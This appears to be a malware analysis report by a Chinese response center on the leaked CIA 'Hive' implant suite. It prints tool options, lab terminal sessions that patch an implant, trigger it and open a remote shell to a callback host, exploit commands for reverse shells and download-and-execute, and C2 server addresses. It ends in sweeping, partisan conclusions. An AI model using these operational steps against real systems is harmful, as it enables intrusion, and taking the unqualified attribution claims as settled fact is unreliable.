Technical Analysis on HIVE

— A U.S. CIA-linked Cyber-Weapon

Apr. 19th, 2022

Executive summary

Recently, National Computer Virus Emergency Response Center (CVERC) has made technical analysis on a malware suite named Hive which is used to attack hosts with multi-platform and able to take fully control to remote targets. According to internal documents from U.S. Central Intelligence Agency(CIA) leaked by WikiLeaks, Hive was joint built by Engineering Development Group(EDG), a software development group within the CIA's Directorate for Digital Innovation, and XETRON, a subsidiary of U.S defense giant Northrop Grumman. Hive is more likely to be a "small arm" of Computer Network Operation(CNO) operated by CIA for setting up a stealthy foothold within the victim's network. Thus, other "heavy" cyber-weapons could be delivered afterwards. Hive support multi-platform, especially the routers on the network border, with tailored malware like RATs and backdoors.

Technical Details

Targeted Platform

As demanded by CIA, EDG has developed different versions of Hive for different types of OS & CPUs with similar functions. As far as we know, Hive has adapted with ARMv7, x86, PowerPC, MIPS and Windows, Unix, Linux, Solaris, MikroTik RouterOS.

Architecture

Hive adopts C/S architecture with several components includes command and control client AKA "Hclient", management interface AKA "Cutthroat", builder AKA "Hive-patcher" and implants AKA "Hived". For the purpose of OPSEC, EDG developed "honeycomb" which work with a multi-layers cover server network.

Attack Scenario

Step 1: Develop Capabilities

Patch a hive implant binary with parameters tailored for the designated target, as shown in Table 1 and Figure 1.

Table 1 Options of Patcher's Command

No.	OPTIONS	PARAMETERS	FUNCTIONALITY
1	-a	address	IP address or hostname of beacon server
2	-d	b_delay	initial delay before first beacon
3	-i	interval	beacon interval
4	-K	ID key filename	ID key filename
5	-k	ID Key Phrase	ID key phrase
6	-j	b_jitter	beacon jitter
7	-I	interface	Solaris Only - interface to listen for triggers
8	-p	port	(optional) beacon port [default: 443]
9	-s	sd_delay	(optional) self delete delay since last successful trigger/beacon (in seconds) [default: 60 days]
10	-t	t_delay	delay between trigger received & callback +/- 30 sec (in seconds) [default: 60 sec]
11	-m	OS	target OS [default: 'all'] options: Windows, MikroTik x86,MikroTik Mips, MikroTik PowerPC, Linux x86, Solaris x86, Solaris Sparc

```
root@kali:~/Hive/clientDirectory# ./hive-patcher

      ERROR: Key missing

   Usage:
   ./hive-patcher -a address [-d b_delay] [-i interval] (-k idKey | -K idKeyFile) [-I interface] [-p port] [-t t_delay] [-m OS]

      -a <address>            - IP address or hostname of beacon server
      -d <b_delay>            - initial delay before first beacon (in seconds), 0 for no beacons.
      -i<interval>          - beacon interval (in seconds)
      -K <idKeyFile>        - ID key filename (maximum 100 character path)
      -k <ID Key Phrase> - ID key phrase (maximum 100 character string)
```

```
      -j <b_jitter>          - beacon jitter (integer of percent variance between 0 and 30 [0-30] )
      -I <interface>         - Solaris Only - interface to listen for triggers
      -p <port>              - (optional) beacon port [default: 443]
      -s <sd_delay>          - (optional) self delete delay since last successful trigger/beacon (in
seconds) [default: 60 days]
      -t <t_delay>           - (optional) delay between trigger received & callback +/- 30 sec (in
seconds) [default: 60 sec]
      -m <OS>                - (optional) target OS [default: 'all'].    options:
                                    * 'all' - default
                                    * 'raw' - all unpatched
                                    * 'win'
                                    * 'mt-x86'
                                    * 'mt-mips'
                                    * 'mt-mipsel'
                                    * 'mt-ppc'
                                    * 'linux-x86'
                                    * 'sol-x86'
                                    * 'sol-sparc'
      [-h ]                  - print this usage


root@kali:~/Hive/clientDirectory# ./hive-patcher -a 192.168.241.130 -d 0 -i 30 -k "testtest" -j 0
-m linux-x86

   This application will generate PATCHED files with the following values:
    . Beacon Server IP address      -> 192.168.241.130
    . Beacon Server Port number     -> 443
    . Trigger Key                   -> 51abb9636078defbf888d8457a7c76f85c8f114c
    . Implant Key                   -> 1bf3116a5372a85b80f3769f62a5162b482c00ee
    . Beacon Initial Delay          -> 0 (sec)
    . Beacon Interval               -> 30 (sec)
    . Beacon Jitter                 -> 0 (percentage)
    . Self Delete Delay             -> 5184000 (sec)
    . Trigger Delay                 -> 60 +/- 30 (sec)

   Target Operating Systems:
    . Linux/x86

   SIG_HEAD found at offset 0003bcb4 for hived-linux-x86-PATCHED
   Generating hived-linux-x86-PATCHED file... ok
```

Figure 1. Patch an implant for Linux-x86 platform

In fact, from the targeted OS list, we find out that CIA paid a lot of attention to MikroTik

network devices. MikroTik devices have a remarkable market share in globe, so as to MikroTik RouterOS which is widely adopt by many other third-party vendors. Apparently, as targets of CIA, MikroTik users had exposed themselves on tremendous risks within a long period.

Step 2: Initial Access

Deliver the implants to victim's devices via exploiting known or unknown vulnerabilities and gain access.

As we known from the leaked CIA's internal documents, a exploit kit for MikroTik Router named "Chimay-Red", which also developed by CIA, was recommended to Hive operators. It turns out that, "Chimay-Red" exploits a 0-day StackClash vulnerability which impact MikroTik RouterOS and remain unfixed until RouterOS 6.38.5 was released on Mar 9th, 2017. The instructions of "Chimay-Red" is shown in Table 2.

Table 2 Instructions of "Chimay-Red"

Commandline	chimay_red.py [-h] -t TARGET [-V] [-a ARCH] <command>		
No.	**OPTIONS**	**FUNCTIONALITY**	
1	-t	Target machine address as <IP:PORT>	
2	-V	Verbose mode, print out debug and error messages	
3	-a ARCH	Specify architecture (mipsbe, ppc, x86, tile)	
4	<command>	Bindshell	create a bindshell
		Connectback	create a reverse shell
		download_and_exe	connect back and download a file to then execute
		ssl_download_and_exe	connect back and download a file via SSL to then execute
		write_devel	write "devel-login" file to allow developer account login
		write_devel_read_userfile	in additon to enabling developer logins, read back the users file
		custom	custom shellcode

Public-disclosure from staff of U.S. government, as counterparts, CIA and NSA work together in CNO missions under U.S. Department of Defense(DOD) and shared their technique and equipments , such as "FoxAcid" which is a vulnerability exploitation platform operated by TAO of NSA.

Step 3: Command & Control

When patched "hived" implanted and executed on the victim's hosts, it will stay silent and monitor the network traffic until waked by a "trigger" packet which is sent by CIA operators via "cutthroat". Command details of "cutthroat" is shown in Table 3.

Table 3 Usage of "cutthroat"

ID	Commandline	FUNCTIONALITY

1	./cutthroat hive	Enter the console of hive
2	ilm connect <IP>	Establish a connection with victim's host
3	cmd exec	Execute command on remote host
4	File put	Upload file to remote host
5	File get	Download file from remote host
6	File delete	Delete file on remote host
7	Shutdown now	Close the Listener's TCP connection, but keep the server implant running on the remote computer
8	Shell open	Open an encrypted shell with the client (as a separate process)

When connection established, CIA operators are able to take control of victim's host remotely, as shown in Figure 2.

```
root@kali:~/Hive/ctDirectory# ./cutthroat hive
mkdir: cannot create directory ../Logs/: File exists
[success] Successfully loaded hive [load]

CutThroat
JY008C634-6
Version: 2.2
CCS Version: 2.2

Usage:

      verbosity <level>    Sets the verbosity level
      mode <new mode>      Sets the operating mode of CT
      load <ILM Filename>  Loads the library
      quit                 Exits Command Post

>ilm connect 192.168.241.135              // connect to a remote host

Using existing target profile.
  Listening for connection on port 443 ...
Using existing target profile.


  Trigger details:
    . Remote IP address 192.168.241.135 with raw-udp trigger on port 13578
    . Callback IP address 192.168.241.130 on port 443
    . Trigger key: 51abb9636078defbf888d8457a7c76f85c8f114c

  Trigger sent.                  //Send trigger packet in order to wake up hived implant

  ... connection established!
```

Connection details:
. Remote IP address 192.168.241.135 on port 52737
. Local IP address 192.168.241.130 on port 443

Enabling encrypted communications: **//Establish encrypted channel**
. TLS handshake complete.
. AES-encrypted tunnel established.

[Success]
********** Success ********** // **Channel established**
[ilm connect 192.168.241.135]

[192.168.241.135]> shell open
PARSE ERROR:
One or more required arguments missing!

Usage:
shell open <string><string><string>

For complete Usage type:
shell open -h

[192.168.241.135]> shell open -h

Initiate shell connection with remote host.

Usage: shell open <string><string><string>

Where:
<string>
(required) Custom Attribute Callback IP address.
<string>
(required) Custom Attribute Callback TCP port number.
<string>
(required) Custom Attribute Password to initialize shell session encryption.

[192.168.241.135]> shell open 192.168.241.130 4444 password **//Open a encrypted standalone Shell**
Option "-t" is deprecated and might be removed in a later version of gnome-terminal.
[Success]

```
********** Success **********
[shell open 192.168.241.130 4444 password]

[192.168.241.135]> file get /var/www/flag_192.168.241.135
/var/www/flag_192.168.241.135_ok //Successfully download a file from remote host
  Remote File: /var/www/flag_192.168.241.135
  Local File: /var/www/flag_192.168.241.135_ok
  Downloading to local system as: /var/www/flag_192.168.241.135_ok
  successful download of 0 bytes from /var/www/flag_192.168.241.135 to
/var/www/flag_192.168.241.135_ok
[Success]
********** Success **********
[file get /var/www/flag_192.168.241.135 /var/www/flag_192.168.241.135_ok]

[192.168.241.135]> file get /var/www/flag_192.168.241.135
/var/www/flag_192.168.241.135_ok
  Remote File: /var/www/flag_192.168.241.135
  Local File: /var/www/flag_192.168.241.135_ok
  Downloading to local system as: /var/www/flag_192.168.241.135_ok.r9RUCY
  successful download of 13 bytes from /var/www/flag_192.168.241.135 to
/var/www/flag_192.168.241.135_ok.r9RUCY
[Success]
********** Success **********
[file get /var/www/flag_192.168.241.135 /var/www/flag_192.168.241.135_ok]

[192.168.241.135]>
```

Figure 2. Take Remote control

In order to avoid detection by security solutions and researchers, Hive mimics HTTP over TLS when establishing encrypted stealthy channel, as shown in Figure 3.

```
1 0.000000 192.168.241.130 192.168.241.135 UDP 437 23744 → 13578 Len=395 //
Trigger Packet
2 0.000102 192.168.241.135 192.168.241.130 ICMP 465 Destination unreachable
(Host administratively prohibited)
18 60.003935 192.168.241.135 192.168.241.130 TCP 74 36799 → 443 [SYN] Seq=0
Win=5840 Len=0 MSS=1460 SACK_PERM=1 TSval=32513513 TSecr=0 WS=128
19 60.004089 192.168.241.130 192.168.241.135 TCP 74 443 → 36799 [SYN, ACK]
Seq=0 Ack=1 Win=28960 Len=0 MSS=1460 SACK_PERM=1 TSval=27742603 TSecr=32513513
WS=128
20 60.004180 192.168.241.135 192.168.241.130 TCP 66 36799 → 443 [ACK] Seq=1
Ack=1 Win=5888 Len=0 TSval=32513513 TSecr=27742603
21 60.004237 192.168.241.135 192.168.241.130 TLSv1.1 126 Client Hello
//Mimic HTTP over TLS
```

```
22  60.004318   192.168.241.130  192.168.241.135  TCP  66   443 → 36799 [ACK] Seq=1
Ack=61 Win=29056 Len=0 TSval=27742603 TSecr=32513513
23  60.005857   192.168.241.130  192.168.241.135  TLSv1.1  145  Server Hello
24  60.005968   192.168.241.135  192.168.241.130  TCP  66   36799 → 443 [ACK]
Seq=61 Ack=80 Win=5888 Len=0 TSval=32513515 TSecr=27742603
25  60.006060   192.168.241.130  192.168.241.135  TLSv1.1  1063  Certificate
26  60.006169   192.168.241.135  192.168.241.130  TCP  66   36799 → 443 [ACK]
Seq=61 Ack=1077 Win=7936 Len=0 TSval=32513515 TSecr=27742603
27  60.052812   192.168.241.130  192.168.241.135  TLSv1.1  596  Server Key Exchange
28  60.052951   192.168.241.135  192.168.241.130  TCP  66   36799 → 443 [ACK]
Seq=61 Ack=1607 Win=9856 Len=0 TSval=32513562 TSecr=27742615
29  60.053088   192.168.241.130  192.168.241.135  TLSv1.1  75   Server Hello Done
30  60.053143   192.168.241.135  192.168.241.130  TCP  66   36799 → 443 [ACK]
Seq=61 Ack=1616 Win=9856 Len=0 TSval=32513562 TSecr=27742615
31  60.072947   192.168.241.135  192.168.241.130  TLSv1.1  205  Client Key Exchange
32  60.112456   192.168.241.130  192.168.241.135  TCP  66   443 → 36799 [ACK]
Seq=1616 Ack=200 Win=30080 Len=0 TSval=27742630 TSecr=32513582
33  60.112597   192.168.241.135  192.168.241.130  TLSv1.1  141  Change Cipher Spec,
Encrypted Handshake Message
34  60.112753   192.168.241.130  192.168.241.135  TCP  66   443 → 36799 [ACK]
Seq=1616 Ack=275 Win=30080 Len=0 TSval=27742630 TSecr=32513622
35  60.112868   192.168.241.130  192.168.241.135  TLSv1.1  72   Change Cipher Spec
36  60.152355   192.168.241.135  192.168.241.130  TCP  66   36799 → 443 [ACK]
Seq=275 Ack=1622 Win=9856 Len=0 TSval=32513662 TSecr=27742630
37  60.152476   192.168.241.130  192.168.241.135  TLSv1.1  135  Encrypted
Handshake Message
38  60.152605   192.168.241.135  192.168.241.130  TCP  66   36799 → 443 [ACK]
Seq=275 Ack=1691 Win=9856 Len=0 TSval=32513662 TSecr=27742640
39  60.233037   192.168.241.130  192.168.241.135  TLSv1.1  119  Application Data
40  60.233199   192.168.241.135  192.168.241.130  TCP  66   36799 → 443 [ACK]
Seq=275 Ack=1744 Win=9856 Len=0 TSval=32513743 TSecr=27742660
41  60.233329   192.168.241.130  192.168.241.135  TLSv1.1  887  Application Data
42  60.233451   192.168.241.135  192.168.241.130  TCP  66   36799 → 443 [ACK]
Seq=275 Ack=2565 Win=11904 Len=0 TSval=32513743 TSecr=27742660
43  60.311981   192.168.241.135  192.168.241.130  TLSv1.1  375  Application Data
44  60.351795   192.168.241.130  192.168.241.135  TCP  66   443 → 36799 [ACK]
Seq=2565 Ack=584 Win=31104 Len=0 TSval=27742690 TSecr=32513821
```

Figure 3. Wake up implant with trigger packet and establish a encrypted channel

Till now, CIA operator are able to take fully control of the victim's host remotely and well prepared to deliver other cyber-weapon payloads as well as take lateral movement in victim's network for data exfiltration.

Step 4: OPSEC

In order to stealthily take command and control, CIA deploy lots of Hive infrastructures globally. For the purpose of interference tracing and attribution analysis, CIA has deployed a series of multi-layer proxy VPS servers and VPN channels. These VPS servers were deployed in many countries including but not limited to Canada, France, Germany, Malaysia and Turkey.

Attribution

According to CIA's internal documents leaked by Wikileaks, combined with technique details above, we are able to have a small glimpse of project Hive.

Hive is mainly developed by Engineering Development Group(EDG) of CIA. The project started from v1.0 in Oct. 2010 and lasted at least to v2.9.1 in Oct. 2015 and targeted MikroTik devices since 2011. As shown in figure 4, the members of development team include but are not limited to Mike Russell, Jack McMahon, Jeremy Haas and Brian Timmons.

SECRET//NOFORN

(U) For Further Assistance (U) Hive 2.6.2 User's Guide

8 (U) For Further Assistance

(S) For any additional assistance, please consult one of the Hive developers. As of January 2013, these are Mike Russell (EDG/AED/EDB), Jack McMahon (EDG/AED/EDB), Jeremy Haas (EDG/AED/EDB) or Brian Timmons (EDG/AED/RDB).

Figure 4. Development Team Members

As shown in Figure 5, project Hive outsources some modules to XETRON, which is a subsidiary of U.S. defense giant Northrop Grumman.

```
/*-*************************************************************************
$Archive: SinnerTwin/JY008C637-ILM_SDK/ClientLib/CustomCommandX.cpp$
$Revision: 1$
$Date: Tuesday, August 25, 2009 2:42:11 PM$
$Author: timm$
Template: cpp_file.cpp 3.0
CPRCLASS = "PROPRIETARY LEVEL I"
*************************************************************************
**
**                    (C)   Copyright Northrop Grumman ES/
**                              XETRON Corporation
**                           All rights reserved
*/

/*-----------------   CustomCommandX - FILE DESCRIPTION   -----------------*

Implementation of the classes that model the response from the ILM interface's
AddCommands function.
```

```
*/
/* $NoKeywords$ (No rcs replacement keywords below this point) */


/*-----------------    CustomCommandX - INCLUDES ----------------------*/

#include "CustomCommandX.h"
#include "XMLParserStack.h"

/*-----------------    CustomCommandX - DECLARATIONS -------------------*/

using namespace InterfaceLibrary;
using std::string;

/*=========================================================================*/
```

Figure 5. Source Code from XETRON

According to a report from “The Intercept”, XETRON Corporation was founded in 1972 and was purchased by Westinghouse Electric Corporation in 1986. Both companies were acquired by Northrop Grumman in 1996. XETRON is located in a suburb of Cincinnati, Ohio, with 68,000 employees as of 2013. As a contractor of CIA with a long history, XETRON’s products range from military sensors to communications systems to information security software. Disclosed by Wikileaks, XETRON provided the CIA with a tool called “Cinnamon” to gain unauthorized access to Cisco routers. Northrop Grumman also referred that XETRON has expertise in encryption and intrusion detection as well as reverse engineering and computer assault which are essential for supporting CNO potential of government customers. In order to maintain high-level workforce, XETRON went to the University of Cincinnati and University of Dayton to recruit engineers major in Cyber-security.

Infrastructure of Hive

A list of VPS servers as C&C were found in a configuration script of “honeycomb”. As shown in Table 4 and Figure 6, servers are located in Europe, America and Asia.

Table 4 VPS servers of Hive

No.	Internal IP	External IP	Location
1	10.177.76.14	82.221.131.100	Iceland
2	10.177.76.18	78.138.97.145	Strasbourg, France
3	10.177.76.22	192.99.0.128	Quebec, Canada
4	10.177.76.26	201.218.252.110	Panama
5	10.177.76.30	186.193.44.130	Brazil
6	10.177.77.34	190.120.236.211	Brazil
7	10.177.77.38	193.34.145.82	Bavaria, Germany

No.	Internal IP	External IP	Location
8	10.177.77.42	31.210.100.208	Istanbul, Turkey
9	10.177.77.46	103.8.24.143	Kuala Lumpur, Malaysia
10	10.177.77.50	46.108.130.10	Germany

```
#retrieve all BeaconData
        beaconData = dom.getElementsByTagName('ToolHandlerFile')[0].toxml()

        for line in beaconData.split('\n'):
            if '<IP>' in line:
                oldIp = preProcessingResults['bb_IP']
                nIp = preProcessingResults['vps_IP']
                if nIp == '10.177.76.14':
                    nIp = '82.221.131.100'
                elifnIp == '10.177.76.18':
                    nIp = '78.138.97.145'
                elifnIp == '10.177.76.22':
                    nIp = '192.99.0.128'
                elifnIp == '10.177.76.26':
                    nIp = '201.218.252.110'
                elifnIp == '10.177.76.30':
                    nIp = '186.193.44.130'
                elifnIp == '10.177.77.34':
                    nIp = '190.120.236.211'
                elifnIp == '10.177.77.38':
                    nIp = '193.34.145.82'
                elifnIp == '10.177.77.42':
                    nIp = '31.210.100.208'
                elifnIp == '10.177.77.46':
                    nIp = '103.8.24.143'
                elifnIp == '10.177.77.50':
                    nIp = '46.108.130.10'
                ipLine = line.replace( oldIp, nIp)
                #print ipLine
                outfile.write(ipLine+'\n')

            elif '<addressString' in line and preProcessingResults['newIP'] != None:
                #print "In addressString, line=" + line
                oldvps = preProcessingResults['vps_IP']
                #print "Old addressString = " + oldvps
                newip = preProcessingResults['newIP']
                #print "New addressString = " + newip
                newLine = line.replace( oldvps, newip)
                #print "New addressString line=" + newLine
```

```
                    outfile.write(newLine+'\n')

                else:
                    outfile.write(line+'\n')

        outfile.close

        command="/bin/rm " + inputFile
#       command="/bin/mv " + inputFile + " orig_beacons/"
#
#       print command
        os.system(command)
```

Figure 6 Fragment of a configuration script of honeycomb

Conclusions

Learned from above, U.S. CIA has a long-term plan for cyber-weapon familiarity, massive, stealthy and smart. Hive has played a role of "assault team" in CNOs operated by CIA, and threaten global users with its abilities of cross-platform and defense evasion.

CIA has the world's most powerful and massive quantities of weapons in their cyber-arsenal, and Hive is one of them. The technical analysis shows that Hive was well-designed as a advanced weapon which is demanded by CIA for holding their advantage in cyber-attack. CIA has accomplished the Cyber Kill Chain which includes but is not limited to reconnaissance, exploitation, delivery, discovery, lateral movement, collection, command and control, exfiltration and destruction, and artificial intelligence is applied in mission operation. CIA has established a global cyber espionage network against high-value target and celebrities with Hive.

As is known to all, CIA committed itself to fight for the supremacy of U.S. by devious means. CIA keep expanding its global cyber espionage operation targets with entities including but not limited to governments, political parties, NGOs, international organizations, military unit, academies, communication, healthy-care, politics, celebrities and talents with expertise, so that it can gain confidential intelligence and access to critical infrastructure organizations from other countries, as well as privacy of citizens all over the world.

Recently, the details of multiple U.S. cyber-weapons were disclosed by Chinese cyber-security industry, including Bvp47, APT-C-40, NOPEN, Quantum and Hive. With those weapons, U.S. intelligence agencies had tapped the internet and critical infrastructures globally for many years. Not surprisingly, victims who owned U.S.-made hardware, operating system, application are more vulnerable. It is high-likely that lots of 0-day vulnerabilities and backdoors within those products had been exploiting by U.S. intelligence agencies with a long period, and most of them are still remain unknown. U.S intelligence agencies are spying on every activities and data on the internet, and utilize those intelligence for conducting attack to their targets.

As a highly modularized and standardized extendable defense product, the project Hive indicated that the U.S. Military-Industrial Complex has integrated the research, academics and industry into the production line of cyber-weapons. Customized with targets' hardware and software environment, those AI-powered cyber-weapons could easily compromise vulnerable victims with privilege escalation, data collection, defense evasion, exfiltration and command and control automatically.

U.S. intelligence agencies' cyber operations continue to pose a threat to all internet users, especially who owned IT products with U.S.-made parts. CVERC encourages all users to be aware of the risks from U.S.-sponsored malicious cyber activities and pick more reliable IT devices.